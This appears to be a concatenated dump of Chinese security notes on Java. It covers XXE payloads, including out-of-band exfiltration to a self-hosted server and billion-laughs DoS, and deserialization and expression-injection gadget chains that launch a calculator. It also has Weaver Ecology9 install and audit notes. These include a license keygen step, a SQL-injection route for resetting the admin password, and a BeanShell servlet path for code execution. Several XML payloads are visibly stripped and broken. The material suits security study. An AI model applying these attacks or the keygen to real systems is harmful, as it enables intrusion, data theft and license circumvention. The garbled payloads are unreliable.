sax 117 | 118 | SAX基于流的解析方式边读XML边解析,并以事件回调的方式返回数据,所以在解析函数中需要传入一个继承自`DefaultHandler`的回调对象。包含`startDocument()、startElement()、characters()、endElement()`等事件。分别表示开始读取xml文档、读取到元素、读取到字符、读取到结束元素等。 119 | 120 | ```java 121 | import javax.xml.parsers.*; 122 | 123 | File f=new File("student.xml"); 124 | SAXParserFactory saxParserFactory=SAXParserFactory.newInstance(); 125 | SAXParser saxParser=saxParserFactory.newSAXParser(); 126 | MyHandler dh = new MyHandler(); 127 | saxParser.parse(f, dh); // 需要传入一个回调函数,解析过程中的处理取决于回调函数 128 | ``` 129 | 130 | ### jdom 131 | 132 | DOM是与平台和语言无关的方式表示XML文档的官方标准。JDOM则是在DOM基础上开发的针对Java的扩展。 133 | 134 | ```java 135 | import org.jdom.*; 136 | 137 | File f=new File("student.xml"); 138 | SAXBuilder builder=new SAXBuilder(); 139 | Document document=builder.build(f); 140 | 141 | List Nodelists=document.getRootElement().getChildren(); 142 | for (int i=0;i 170 | 172 | 173 | ]> 174 | &xxe; 175 | ``` 176 | 有回显,且读取的文件包含特殊字符,用CDATA包住文本避免被解析。 177 | ```xml 178 | 179 | 180 | 181 | 183 | 184 | "> 185 | %dtd; ]> 186 | 187 | &all; 188 | 189 | 190 | 191 | 192 | 193 | ``` 194 | ### 无回显 195 | 无回显,用http或ftp协议外带数据。但内部Entity中禁止引用参数实体,所以DTD中要把`%`转义成`%` 196 | ```xml 197 | 198 | 199 | %remote;%int;%send;]> 200 | 201 | 202 | 203 | 204 | "> 205 | 206 | 207 | 208 | 209 | "> 210 | ``` 211 | python起http或ftp服务 212 | ``` 213 | python3 -m http.server 8080 214 | python3 -m pyftpdlib -p 8081 215 | ``` 216 | 217 | ### ddos 218 | ```xml 219 | 220 | 222 | 223 | 224 | 225 | 226 | 227 | ]> 228 | &lol6 229 | ``` 230 | 231 | 232 | ### 常见报错 233 | **(1)内部参数实体引用** 234 | ``` 235 | The entity name must immediately follow the '%' in the parameter entity reference 236 | 237 | The character reference must end with the ';' delimiter 238 | ``` 239 | 这两个报错常见于在`evil.dtd`中。问题在于将`"">`的`%`写成了`%` 240 | 如果我们把a.txt换成windows下的敏感文件,如,java会报错Exception in thread "main" java.net.MalformedURLException: Illegal character in URL,这是因为敏感文件中可能存在特殊字符,造成编码问题。 241 | 242 | **(2)协议不支持/编码问题** 243 | ``` 244 | java.net.MalformedURLException: no protocol 245 | ``` 246 | 出现这个报错的可能性包括用了`expect`这种Java不支持的协议,或者编码存在问题,需要设定编码格式如下。 247 | ``` 248 | Document doc = builder.parse(new InputSource(new ByteArrayInputStream(send.getBytes("utf-8")))); 249 | ``` 250 | 251 | **(3)xml格式存在问题** 252 | ``` 253 | The markup declarations contained or pointed to by the document type declaration must be well-formed 254 | ``` 255 | 文档类型声明可能存在错误例如` 101 | 102 | #(10)MVEL 103 | ShellSession shellSession=new ShellSession(); 104 | shellSession.exec("push Runtime.getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator');"); 105 | 106 | # 支持的命令 107 | "help" -> {Help@605} 108 | "exit" -> {Exit@607} 109 | "cd" -> {ChangeWorkingDir@609} 110 | "set" -> {Set@611} 111 | "showvars" -> {ShowVars@613} 112 | "ls" -> {DirList@614} 113 | "inspect" -> {ObjectInspector@616} 114 | "pwd" -> {PrintWorkingDirectory@618} 115 | "push" -> {PushContext@620} 116 | ``` 117 | 118 | #### 类加载 119 | ``` 120 | #(1)com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl(BeanComparator、EqualsBean/ToStringBean可以间接调用TemplatesImpl) 121 | TemplatesImpl.getOutputProperties() 122 | TemplatesImpl.newTransformer() 123 | TemplatesImpl.getTransletInstance() 124 | TemplatesImpl.defineTransletClasses() 125 | ClassLoader.defineClass() 126 | Class.newInstance() 127 | 128 | # (2)com.sun.rowset.JdbcRowSetImpl #connect/#prepare/#getDatabaseMetaData/#setAutoCommit最终都是调用的connect(),如下 129 | private Connection connect() throws SQLException { // 无参方法 130 | DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName()); 131 | } 132 | ``` 133 | 134 | #### 反射调用 135 | ``` 136 | #(1)javax.imageio.ImageIO$ContainsFilter 137 | public boolean filter(Object elt) { 138 | return contains((String[])method.invoke(elt), name); // 传入Object对象,要求方法无参,所以不能采用Runtime.exec(cmd)这种需要传参的命令执行方法,而是采用ProcessBuilder.start()等无参方法 139 | } 140 | 141 | #(2)java.beans.EventHandler 142 | private Object invokeInternal(Object proxy, Method method, Object[] arguments) { 143 | String methodName = method.getName(); 144 | if (method.getDeclaringClass() == Object.class) { // 如果方法是hashCode、equals、toString其中一个,采用代理,走不到invoke 145 | // Handle the Object public methods. 146 | if (methodName.equals("hashCode")) { 147 | return new Integer(System.identityHashCode(proxy)); 148 | } else if (methodName.equals("equals")) { 149 | return (proxy == arguments[0] ? Boolean.TRUE : Boolean.FALSE); 150 | } else if (methodName.equals("toString")) { 151 | return proxy.getClass().getName() + '@' + Integer.toHexString(proxy.hashCode()); 152 | } 153 | } 154 | ... // 参数要么是空,要么是单个参数 155 | return MethodUtil.invoke(targetMethod, target, newArgs); // 反射调用 156 | } 157 | 158 | #(3)com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection 159 | public ValueT get(BeanT bean) throws AccessorException { 160 | return this.getter.invoke(bean); // 只能传入类对象,无法传入参数,要求反射方法无参 161 | } 162 | 163 | #(4)org.codehaus.groovy.runtime.MethodClosure 164 | protected Object doCall(Object arguments) { 165 | return InvokerHelper.invokeMethod(this.getOwner(), this.method, arguments); 166 | } 167 | 168 | #(5)org.codehaus.groovy.runtime.ConvertedClosure 169 | public abstract class ConversionHandler implements InvocationHandler, Serializable { // 实现了InvocationHandler,并重写了invoke方法,如果执行Proxy.newProxyInstance就会调用这个Invoke 170 | public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { 171 | this.invokeCustom(proxy, method, args); // 如果传入的method不是Object对象中的方法(如hashcode、toString等),就执行此步,进行反射调用 172 | } 173 | } 174 | 175 | #(6)groovy.util.Expando 176 | public int hashCode() { 177 | Object method = this.getProperties().get("hashCode"); 178 | if (method != null && method instanceof Closure) { // 如果properties中存在一个键为hashCode,值为Closure的子类,进入if 179 | Closure closure = (Closure)method; 180 | closure.setDelegate(this); 181 | Integer ret = (Integer)closure.call(); //反射调用 182 | return ret; 183 | } ... 184 | } 185 | 186 | # 触发demo 187 | Map map = new HashMap(); 188 | Expando expando = new Expando(); 189 | String[] cmd = new String[]{"open","-a","/System/Applications/Calculator.app"}; 190 | MethodClosure methodClosure = new MethodClosure(new java.lang.ProcessBuilder(cmd), "start"); 191 | expando.setProperty("hashCode", methodClosure); 192 | map.put(expando, 123); 193 | expando.hashCode(); 194 | ``` 195 | 196 | -------------------------------------------------------------------------------- /Java_OA/Ecology9_install.md: -------------------------------------------------------------------------------- 1 | # 安装说明 2 | 3 | ### 1. 安装包 ### 4 | ``` 5 | Ecology_setup_forWindows_v2.61.exe 6 | Ecology9.00.1907.04.zip 7 | Resin-4.0.58.zip 8 | Ecology9注册机.exe 9 | ``` 10 | ### 2. 安装前提 ### 11 | Windows Server + Sql Server 12 | 13 | ### 3. 安装步骤 ### 14 | 15 | (1)更改hosts 16 | 为避免泛微自动更新,在windows配置文件`C:\Windows\System32\drivers\etc\`末尾增加如下内容。将泛微的更新地址指向本地。此步骤可选。 17 | ``` 18 | 127.0.0.1 update.e-cology.cn 19 | 127.0.0.1 www.weaver.com.cn 20 | ``` 21 | 22 | (2)运行Ecology_setup_forWindows_v2.61.exe 23 | 运行exe,选择全新安装,此步骤将Ecology和Resin压缩包解压到当前目录下 24 | 25 | (3)配置、启动Resin 26 | 运行Resin目录下的setup.exe,创建服务。查看Resin目录下的resinstart.bat文件中Java的路径是否为Windows下配置的Java的路径,如果不是进行更改。运行resinstart.bat。 27 | 28 | (4)访问localhost:ip 29 | ip是第二步中配置的ip,默认为80。访问之后会进入到数据库配置界面。验证码一般为`wEAver2018`。在sql server数据库中创建名为ecology的数据库。然后回到数据库配置界面,点击初始化数据库。初始化完成后根据页面提示信息,重启Resin。 30 | 31 | (5)登入系统 32 | localhost:ip进入系统。会跳转到登陆界面。点击登录后可能弹出license验证。license验证时将识别码放入Ecology9.exe注册机中生成license文件,导入。验证码处依旧填入`wEAver2018`。验证success后。输入管理员用户名`sysadmin`,密码位于数据表`HrmResourceManager`,值md5加密方式。 33 | 34 | ### 4. 其他问题 ### 35 | 36 | (1)jsp编译报错 37 | 如果没有能进入到登陆界面,一直显示加载中。并且在命令行终端看到jsp编译报错。查看Resin目录,`conf/resin.xml`中的以下内容所设路径正确,`javac compiler`路径和`root-directory`需要和系统中的配置保持一致。用Ecology_setup_forWindows_v2.61.exe生成的可能有误。 38 | 39 | ``` 40 | 41 | 42 | 43 | 44 | 100000 45 | 46 | ``` 47 | -------------------------------------------------------------------------------- /Java_OA/EcologyAudit.md: -------------------------------------------------------------------------------- 1 | ## 泛微Ecology ## 2 | 3 | ### (1) 漏洞指纹 ### 4 | `Set-Cookie: ecology_JSessionId=` 5 | 6 | ### (2) 调试方法 ### 7 | Resin目录下/conf/resin.properties文件中找到`jvm_args`参数,在参数值中加入 8 | ``` 9 | -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 10 | ``` 11 | 12 | ### (3) 关键数据 ### 13 | * 环境安装验证码: `/ecology/WEB-INF/code.key`文件中 14 | * 管理员账号: 位于数据表`HrmResourceManager`,密码为`md5`加密,无法解码的情况下,可通过`/api/ec/dev/locale/getLabelByModule`路径的sql注入漏洞修改密码 15 | * 环境信息查看: 访问`http://ip:port/security/monitor/Monitor.jsp`,包含操作系统版本、ecology版本、web中间件版本、JVM版本、客户端软件和规则库版本 16 | * 编译后的class文件: `/ecology/classbean/ `文件夹下 17 | * 系统运行依赖的jar: `/ecology/WEB-INF/lib/` 文件夹下 18 | 19 | ### (4) 路由特点 ### 20 | (1)`/weaver` 21 | 服务器为resin,查看resin.xml。它配置了invoker servlet,即一种默认访问servlet的方式,可以运行没有在web.xml中配置的servlet。访问路径为`/weaver/*`,`*`后是被访问的Java类,该类需要满足两个要求 a.采用完全限定名 b.实现servlet或HttpServlet相关接口。 22 | ``` 23 | 24 | 25 | 100000 26 | 27 | ``` 28 | 所以lib目录下的bsh-2.0b4.jar可以按照全限定类名`/bsh.servlet.BshServlet`访问`BshServlet`类,该类实现了`HttpServlet`接口 29 | ``` 30 | public class BshServlet extends HttpServlet { 31 | public void doGet(HttpServletRequest var1, HttpServletResponse var2) throws ServletException, IOException { 32 | String var3 = var1.getParameter("bsh.script"); 33 | ... 34 | var8 = this.evalScript(var3, var10, var7, var1, var2); 35 | } 36 | } 37 | ``` 38 | `/ecology/classbean/`目录下均为Java类,想要访问该目录下的类都采用`/weaver`的方式 39 | 40 | (2)`/xx.jsp` 41 | jsp访问路径均为ecology根目录到该jsp的路径,例如jsp的绝对路为`D:/ecology/addressbook/AddressBook.jsp`,那么该jsp的访问路径为`http://ip:port/addressbook/AddressBook.jsp` 42 | 43 | (3)`/services/*` 44 | `/services/*`的服务配置由`org.codehaus.xfire.transport.http.XFireConfigurableServlet`读取`classbean/META-INF/xfire/services.xml`文件进行加载创建。配置文件各服务节点结构大致如下 45 | ```xml 46 | 47 | DocService 48 | http://localhost/services/DocService 49 | weaver.docs.webservices.DocService 50 | weaver.docs.webservices.DocServiceImpl 51 | org.codehaus.xfire.annotations.AnnotationServiceFactory 52 | 53 | ``` 54 | 那么可以通过`/services/DocService`的方式访问该接口。 55 | 56 | (4)`/api/*` 57 | 由`@Path`注解定义的一系列`REST`接口,可以在`ecology/WEB-INF/Api.xls`文件中查看所有的`api`接口路径和相关类。泛微E9版本开始新增了/api路由,在旧版本中,该路由存在大小写绕过鉴权的漏洞。 58 | 59 | (5)`/*.do` 60 | 由实现了`weaver.interfaces.workflow.action.Action`接口的`action`,由ecology/WEB-INF/service/\*.xml所配置 61 | ```xml 62 | 63 | 64 | ``` 65 | 可通过/.do的方式访问。 66 | 67 | ### (5) 安全策略 ### 68 | 69 | 安全过滤器(防火墙) 70 | ```xml 71 | 72 | SecurityFilter 73 | weaver.filter.SecurityFilter 74 | 75 | 76 | SecurityFilter 77 | /* 78 | 79 | ``` 80 | 81 | 安全策略的具体内容分为两种,规则形式的`xml`文件(位于`WEB-INF/securityRule`),和实现`weaver.security.rules.BaseRule`接口的类(位于`WEB-INF/myclasses/weaver/security/rules/ruleImp`)。 82 | 83 | 安全策略的加载位于`SecurityMain#initFilterBean`方法,加载顺序如下 84 | 85 | * 加载WEB-INF/weaver_security_config.xml 86 | * 加载WEB-INF/weaver_security_rules.xml 87 | * 加载WEB-INF/securityRule/{Ecology_Version}/*.xml,并将这些文件作为参数调用ruleImp中实现了BaseRule接口的自定义规则的init函数 88 | * 从数据库表weaver_security_rules中加载(如果配置文件中fromDB=db) 89 | * 调用ruleImp中实现了BaseRule接口的自定义规则的initConfig函数 90 | * 加载WEB-INF/securityRule/Rule/*.xml 91 | * 加载WEB-INF/securityXML/*.xml 92 | 93 | 安全补丁的日志: `/ecology/WEB-INF/securitylog` 94 | 95 | 安全策略生效特征: 96 | 97 | (1) URL访问404,响应头部包含`errorMsg: securityIntercept` 98 | 99 | (2) 访问后弹窗,提示登录或出错,或响应体中包含`